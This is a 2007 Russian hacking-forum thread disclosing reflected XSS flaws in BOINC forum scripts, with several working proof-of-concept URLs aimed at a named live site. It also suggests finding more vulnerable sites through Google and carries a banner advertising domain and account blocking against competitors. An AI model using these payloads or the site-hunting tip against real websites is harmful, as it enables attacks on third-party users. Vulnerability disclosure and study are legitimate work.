Xss в Bonic(популярный двиг)

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Xss в Bonic(популярный двиг)

Страница 1 из 3

Опции темы

Поиск в этой теме

Опции просмотра

Xss в Bonic(популярный двиг)

25.03.2007, 19:18

BlackCats

Постоянный

Регистрация: 01.02.2006

Сообщений: 970

С нами: 10669286

Репутация: 1942

Xss в Bonic(популярный двиг)

итак, моя первая уязвимость в действительно популярном скрите.

итак, на этот раз это XSS присутствует в
Berkeley Open Infrastructure for Network Computing - версию определить неудалось, предполагается что во всех ныне используемых.

http://boinc.berkeley.edu/ - сайт разработчика

Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки входных данных в параметре 'id' в сценарии forum_forum.php.Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценарий в браузере жертвы.

пример:

Код:

http://www.malariacontrol.net/forum_forum.php?id=3"><script>alert(99)</script>

т.е. мы подставляем сразу после id=**свой скрипт и всё

также вы сами можете найти мноджество сайтов с такой уязвимостью вбив в гугле BONIC

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось \6/; 25.03.2007 в 19:34..

25.03.2007, 19:22

InferNo23

Участник форума

Регистрация: 05.09.2006

Сообщений: 187

С нами: 10358246

Репутация: 378

Код:

Уязвимость существует из-за недостаточной обработки данных в адресной строке.

no comments....

25.03.2007, 19:25

BlackCats

Постоянный

Регистрация: 01.02.2006

Сообщений: 970

С нами: 10669286

Репутация: 1942

)) ну а как надо было?

25.03.2007, 19:30

InferNo23

Участник форума

Регистрация: 05.09.2006

Сообщений: 187

С нами: 10358246

Репутация: 378

Код:

Уязвимость существует из-за недостаточной обработки входных данных в параметре 'id' в сценарии forum_forum.php

например

25.03.2007, 19:34

BlackCats

Постоянный

Регистрация: 01.02.2006

Сообщений: 970

С нами: 10669286

Репутация: 1942

спасибо

обновил.

25.03.2007, 19:46

Utochka

Постоянный

Регистрация: 21.12.2005

Сообщений: 620

С нами: 10729766

Репутация: 268

дык она же не активная даже =/

25.03.2007, 22:57

BlackCats

Постоянный

Регистрация: 01.02.2006

Сообщений: 970

С нами: 10669286

Репутация: 1942

Цитата:

Сообщение от Utochka

дык она же не активная даже =/

ну какая есть

была бы активная думаю в паблик бы не выкладывал.

25.03.2007, 23:46

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

\6/, сразу видно - ты хакер. такие крутые Xss находишь! Что просто вах!

только вопрос - кому они такие нужны.. ? жаль что ты вряд ли на этот вопрос ответишь.

26.03.2007, 00:01

BlackCats

Постоянный

Регистрация: 01.02.2006

Сообщений: 970

С нами: 10669286

Репутация: 1942

Цитата:

Сообщение от Rebz

хм, как тебе ответить, сразу видно что это типа наезд

знаеш.. я тебе так отвечу:
я постю эти ххс для того, чтобы:
1-если возникнет вопрос "а какие есть баги в этом движке, ато на секлабе ничего не нашёл" могли зайти в эти темы
2-для того чтобы люди видели что я активе, и в следующий раз я не получил отказа в принятии в МОА.

#10

26.03.2007, 14:24

Ksander

Постоянный

Регистрация: 21.06.2006

Сообщений: 931

С нами: 10467686

Репутация: 930

Цитата:

Сообщение от \6/

1-если возникнет вопрос "а какие есть баги в этом движке, ато на секлабе ничего не нашёл" могли зайти в эти темы

О да, такую сложнейшую и запутаную xss ооочень сложно найти.

p.s.лови еще одну

Код:

http://www.malariacontrol.net/forum_thread.php?id=425"><script>alert(/heek!/)</script>

И еще.
В поле email.

Код:

http://www.malariacontrol.net/login_action.php

И еще одну

Код:

http://www.malariacontrol.net/forum_subscribe.php?action=subscribe&thread=425"><script>alert()</script>

Нашел 1 паршивую xss и уже выпрыгиваеш из штанов.

Последний раз редактировалось Ksander; 26.03.2007 в 14:37..

Страница 1 из 3

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Энциклопедия уязвимых скриптов	DIAgen	Веб-уязвимости	519	23.09.2021 11:44
Xss для новичков	Micr0b	Уязвимости	79	06.07.2018 22:05
Xss: Cегодня и вчера. Опрос	Constantine	Болталка	48	07.12.2009 08:57
Xss	bx_N	Forum for discussion of ANTICHAT	7	11.03.2007 19:17

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules